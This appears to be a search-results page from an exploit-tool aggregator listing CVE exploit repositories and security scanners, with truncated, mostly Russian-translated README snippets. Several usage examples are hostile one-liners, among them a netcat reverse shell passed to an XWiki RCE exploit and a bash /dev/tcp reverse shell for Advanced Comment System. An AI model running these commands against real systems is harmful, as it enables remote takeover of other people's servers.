481385 matches found
wp_bookingpress_1.0.11
CVE-2022-0739 CVE-2022-0739 WordPress BookingPress Plugin 1.0.11 Неаутентифицированная SQL-инъекция Начало работы Запуск программы С помощью python3 root@kitploit: python3 sqli.py -u 'http://wordpress.site' -p 'wpnoncevalue' Справка Для справки: root@kitploit: python3 sqli.py -h Отказ от...
CVE-2018-16763
CVE 2018-16763 Эксплойт Введение PreAuth-RCE на FUEL CMS 1.4.1 Демонстрация Ссылки: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...
CVE-2022-0847-dirty-pipe-checker
CVE-2022-0847-dirty-pipe-checker Bash-скрипт для проверки CVE-2022-0847 "Dirty Pipe" https://dirtypipe.cm4all.com/ Использование Проверить текущую версию ядра root@kitploit: ./dpipe.sh Проверить конкретную версию ядра root@kitploit: ./dpipe.sh 5.10.11...
CVE-2020-17530-strust2-061
В этом репозитории нет README...
ictf-framework
iCTFフレームワーク 3.0 これはShellphishがiCTFを開催するために使用するフレームワークです。 iCTFフレームワークは、2014年のUsenix 3GSEワークショップで発表された論文で説明されています。 私たちは、教育者やトレーナーが自身のA/D CTFを開催できるようにするため、これを公開しました。このフレームワークは商用利用無料ですが、提供できるサポートは限られています。 将来的には各コンポーネントに関するより詳細な技術文書を公開する予定ですが、現時点ではゲームの作成方法についてはこちらで説明を見つけることができます。...
CVE-2024-35511
PHPGurukul Система управления мужским салоном 2.0 Добро пожаловать в репозиторий PHPGurukul Система управления мужским салоном 2.0. Этот проект предназначен для создания надежной системы управления мужским салоном. Уязвимости безопасности CVE-2024-35511 Описание: Уязвимость к SQL-инъекциям через...
apache__dubbo_CVE-2021-30180_2-7-9
Проект Apache Dubbo...
CVE-2019-15107
CVE-2019-15107 webmin или minisever RCE Использование скрипта: Протестировано на v1.890, но должно также работать на других версиях webmin, в которых установлен этот бэкдор. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...
CVE-2025-24893
CVE-2025-24893 Эксплойт удалённого выполнения кода для XWiki версий до 15.10.11, 16.4.1 и 16.5.0RC1. Использование root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Используйте только в этических целях :...
CVE-2009-4623
Advanced Comment System 1.0 - Удаленное выполнение команд RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Примеры root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...
WPintel
Возможности • Установка • Использование • Лицензия • Загрузить Видеодемонстрация Возможности Определение версии WordPress Поиск уязвимостей версии Перечисление пользователей Определение тем Определение плагинов Обнаружение полного пути к файлам Проверка статуса регистрации пользователей Установка...
Admidio-3.2.8-CSRF-POC-by-Provensec-llc
Admidio-3.2.8-CSRF-POC-от-Provensec-llc Admidio 3.2.8 Межсайтовая подделка запроса Cross-Site Request Forgery. Присвоен номер CVE: CVE-2017-8382 https://www.exploit-db.com/exploits/42005/ http://en.0day.today/exploit/27771...
WhatWeb
WhatWeb - Веб-сканер нового поколения Разработан Эндрю Хортоном urbanadventurer и Бренданом Коулзом bcoles Последний релиз: v0.6.4. 3 апреля 2026 года Лицензия: GPLv2 Данный продукт подлежит условиям, указанным в лицензионном соглашении. Для получения дополнительной информации о WhatWeb посетите...
CVE-2023-38408
CVE-2023-38408 PoC-эксплойт для недавней критической уязвимости, затрагивающей версии OpenSSH 9.3p2 Разработан для бесшовной работы с бесплатной лабораторной средой TryHackMe, охватывающей эту уязвимость. https://tryhackme.com/room/cve202338408 ПРИМЕЧАНИЕ: Это не будет работать вне лабораторной...
inspect_petri
Inspect Petri Добро пожаловать в Inspect Petri, аудирующий агент, который обеспечивает автоматизированный мониторинг и взаимодействие с языковыми моделями для выявления потенциальных проблем с согласованностью alignment, reward hacking и других вызывающих беспокойство поведений. Petri помогает...
CVE-2023-30226
CVE-2023-30226 Rizin — это фреймворк для обратной разработки, ответвлённый от radare2. В его коде анализа ELF-файлов была обнаружена ошибка, которая позволяет с помощью специально созданного файла выполнить отказ в обслуживании. Это не позволит пользователю загрузить файл в rizin, но не повлияет ...
mtr
WHAT IS MTR? mtr combines the functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool. As mtr starts, it investigates the network connection between the host mtr runs on and a user-specified destination host. It sends probes to the destination with successively...
CVE-2020-15227
CVE-2020-15227 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ! Я не несу ответственности за использование этого инструмента в реальной среде, поэтому, пожалуйста, НЕ делайте этого. Эта штука предназначена только для демонстрации и тестирования для системных администраторов. Этот инструмент проверяет уязвимость в...
CVE-2025-51397
Название эксплойта: LiveHelperChat =4.61 - хранимый межсайтовый скриптинг XSS через фамилию оператора Дата: 09/06/2025 Автор эксплойта: Manojkumar J TheWhiteEvil Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/ Домашняя страница вендора: https://github.com/LiveHelperChat/livehelperch...